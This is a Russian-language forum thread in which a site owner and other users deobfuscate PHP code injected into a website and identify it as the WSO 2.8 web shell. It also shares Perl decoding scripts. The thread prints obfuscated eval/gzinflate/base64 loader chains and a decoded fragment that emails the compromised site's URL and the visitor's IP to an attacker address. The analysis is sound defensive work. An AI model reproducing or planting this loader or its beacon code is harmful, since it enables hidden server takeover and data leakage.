LINUX.ORG.RU

php, декодирование внедрённого кода.

 


0

2

Был найден внедрённый код такого вида:

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lb3LrmRZj6Q3F6B3+FGogTRpnL3XzR0FvQknfgW6qlENdKOF7LdXON0+4zrZQkEaBDIj4oT73utCGkmj8Z//+h+X4/Hf/vGP//R//eOf4q/18+fXGX/N8efXir/Gu37/+bv5+PPr+POrff/svPz59efvzz8/d77+/ ...... //jnv/7H5Xj8t3/8p3/881//+te/rf+a//fv//M//9u/5v/lZKj/81/+Hw=='\x29\x29\x29\x3B","");
?>
Как его декодировать в читаемый php-код?


Меняем "/.*/e" на "/.*/" и выводим результат через echo, получаем:

eval(gzinflate(base64_decode('lb3LrmRZj6Q3F6B3+FGogTRpnL3XzR0FvQknfgW6qlENdKOF7LdXON0+4zrZQkEaBDIj4oT73utCGkmj8Z//+h+X4/Hf/vGP//R//eOf4q/18+fXGX/N8efXir/Gu37/+bv5+PPr+POrff/svPz59efvzz8/d77+/ ...... //jnv/7H5Xj8t3/8p3/881//+te/rf+a//fv//M//9u/5v/lZKj/81/+Hw==')));

Вот только дальше расковырять не смог, gzinflate ругается на декодированную строку:

PHP Warning:  gzinflate(): data error in a.php on line 10

Тут небольшое пояснение как это работает.

grazor ★★
()

Запусти без /e, получаем

eval(gzinflate(base64_decode('lb3LrmRZj6Q3F6B3+FGogTRpnL3XzR0FvQknfgW6qlENdKOF7LdXON0+4zrZQkEaBDIj4oT73utCGkmj8Z//+h+X4/Hf/vGP//R//eOf4q/18+fXGX/N8efXir/Gu37/+bv5+PPr+POrff/svPz59efvzz8/d77+/ ...... //jnv/7H5Xj8t3/8p3/881//+te/rf+a//fv//M//9u/5v/lZKj/81/+Hw==')));
no-such-file ★★★★★
()
Ответ на: комментарий от anonymous

Внутри base64 строки стоит не валидная вставка " ..... ".
Вместо неё скорее всего вставляется ещё кусок.

anonymous
()

В конце всё равно будет web shell.

anonymous
()
Ответ на: комментарий от anonymous

Вместо неё скорее всего вставляется ещё кусок.

Это порезанный веб-шел WSO 2.8. Из него вырезана середина, осталось только немного с начала и конца.

i-rinat ★★★★★
()
Ответ на: комментарий от anonymous

И, кто-нибудь подсказать почему его код не обфусцируют?

anonymous
()
Ответ на: комментарий от Twissel

Я WSO 2.8 скачал с github'а, распаковал его.
То что у ТС, это только начало и конец его.

anonymous
()

Коллеги, всем спасибо.. Действительно это стандартный WSO 2.8, только с доработкой, который e-mail на fwrite@live.ca отсылает. Вырезал кусок я сам, просто что бы не захламлять портянкой lor, не думал, что тут могут не только советом помочь, а за меня всё сделать :-)

Для общего понимания, что это «e» которую нужно убрать для декодирования делает?

Viper
() автор топика
Последнее исправление: Viper (всего исправлений: 2)
Ответ на: комментарий от Viper

В итоге получилось такое (снова я немного порезал), что не прибавило понимания:

$xu81cr .= "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x2f\x2e\x2a\x2f\x65\x22\x2c\x22\x5c\x78\x36\x35\x5c\x
...;
$xjxk7o .= "\x70\x36\x72\x67\x73\x38\x54\x68\x63\x54\x63\x79\x4a\x64\x4c\x45\x57\x4e\x75\x39\x34\x39\x34\x4d\x6d\x36\x36\x49\x66\x6f\x49\x36\x30\x79
...;
$xnyikj .= "\x56\x79\x54\x73\x61\x73\x7a\x69\x78\x79\x36\x2b\x49\x66\x48\x73\x59\x7a\x68\x59\x72\x4f\x37\x67\x51\x57\x4f\x4e\x74\x76\x57\x59\x37\x4e\x69\x51\x59\x58\x58\x6b\x41\x35\x42\x4e\x
...;
$xs7nls .= "\x31\x68\x37\x35\x58\x50\x35\x43\x6b\x38\x58\x57\x76\x62\x77\x6b\x49\x71\x55\x44\x72\x6b\x46\x79\x76\x70\x32\x53\x33\x7a\x33\x42\x70\x65\x6c\x7a\x37\x33\x72\x3
...;
eval($xu81cr . $xjxk7o . $xnyikj . $xs7nls);
Вообще код один в один вот этот: https://github.com/s3cureshell/wso-2.8-web-shell

Viper
() автор топика
Ответ на: комментарий от Viper

про «е» не надо комментировать, почитал по предоставленной ссылке.

Viper
() автор топика
Ответ на: комментарий от anonymous

Спасибо... Декодированный код имеет ещё такую вставку:

eval(gzinflate(base64_decode('dZJNc5swEIb/iieTQ3ITuInLZHrAuBIrx9SA+dLFAxbBssRHQxMX//qqJk4y0+lhR6PZffTuu6vrrn3+tS1Ew7d88m1yRV3W7UyFssG2wAmefGStQ6RwMlAzT72OuyuRbnrPqVUNTiV5rU55GhxggXQ9iGU4ny38ttLsWE9Wlc5Vq4VmhF1d3i+mUK1DW6aGhyPFdPQikrG3MQKcIvw9wDDqnBmuMn2CY//DhDiIImzBxvAiUOii3RV1e67/q02xtQlimugoQFEcxTGOjOApjin9xKAspQ1L/TOzq/GUp7RnJD4UZqCWTjBlCbxQol5yIS/MT54ERvGmA0r3qbyWJb97IHvEXfv+cfgqOcEDM2MEhN59zMUa4PDmj9BX5sqLP+E3cfND2P/l1oQOawFjD+S8hz1LjCN3ZTvOSnbg9pVPjH2eHFuosxNbzE+rKTV12DmxUJHgrnDutDckHt99HGVWW7IM5Qxc5DmNjjrud2ZUlYP9vuvl0I95OT8xfS9M6zlPohaacbelgP7jH8nZ1cOkfM3VTZH35f2XLS93LS9vrj/9vNvbhz8= ')));

Viper
() автор топика
Ответ на: комментарий от Viper
$visitc = $_COOKIE["visits"];
if ($visitc == "") {
  $visitc  = 0;
  $visitor = $_SERVER["REMOTE_ADDR"];
  $web     = $_SERVER["HTTP_HOST"];
  $inj     = $_SERVER["REQUEST_URI"];
  $target  = rawurldecode($web.$inj);
  $judul   = "WebShell http://$target by $visitor";
  $body    = "Bug: $target by $visitor<br>";
  if (!empty($web)) { @mail("f3d0s3rv3r@hotmail.com",$judul,$body); }
}
else { $visitc++; }
@setcookie("visitz",$visitc);

Ниже распаковщик на перле, если нужно.

#!/usr/bin/perl

use strict;
use MIME::Base64;
$| = 1;
binmode STDIN;

my $decoded = decode_base64(<STDIN>);
my $uncompressed = "";

use IO::Uncompress::RawInflate qw(rawinflate $RawInflateError);
my $status = rawinflate \$decoded => \$uncompressed;

print $uncompressed;

anonymous
()
Ответ на: комментарий от anonymous

Это не тот код, запущенный скрипт в ограниченном окружении, пытается послать e-mail такого содержания:

To: fwrite@live.ca
Subject: array /tmp/hackfile.php

/tmp/hackfile.php
на f3d0s3rv3r@hotmail.com ничего не отсылается, хотя, судя по приложенному тексту, должно при первом запуске скрипта.

Viper
() автор топика
Ответ на: комментарий от Viper
#!/usr/bin/perl
use strict;
$| = 1;

while (defined(my $line = <STDIN>)) {
    $line =~ s/\\x([a-f0-9]{2})/chr(hex($1))/egi;
    print $line;
}

Нэ?
Не обязательно перл, но смысл я думаю понятен.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.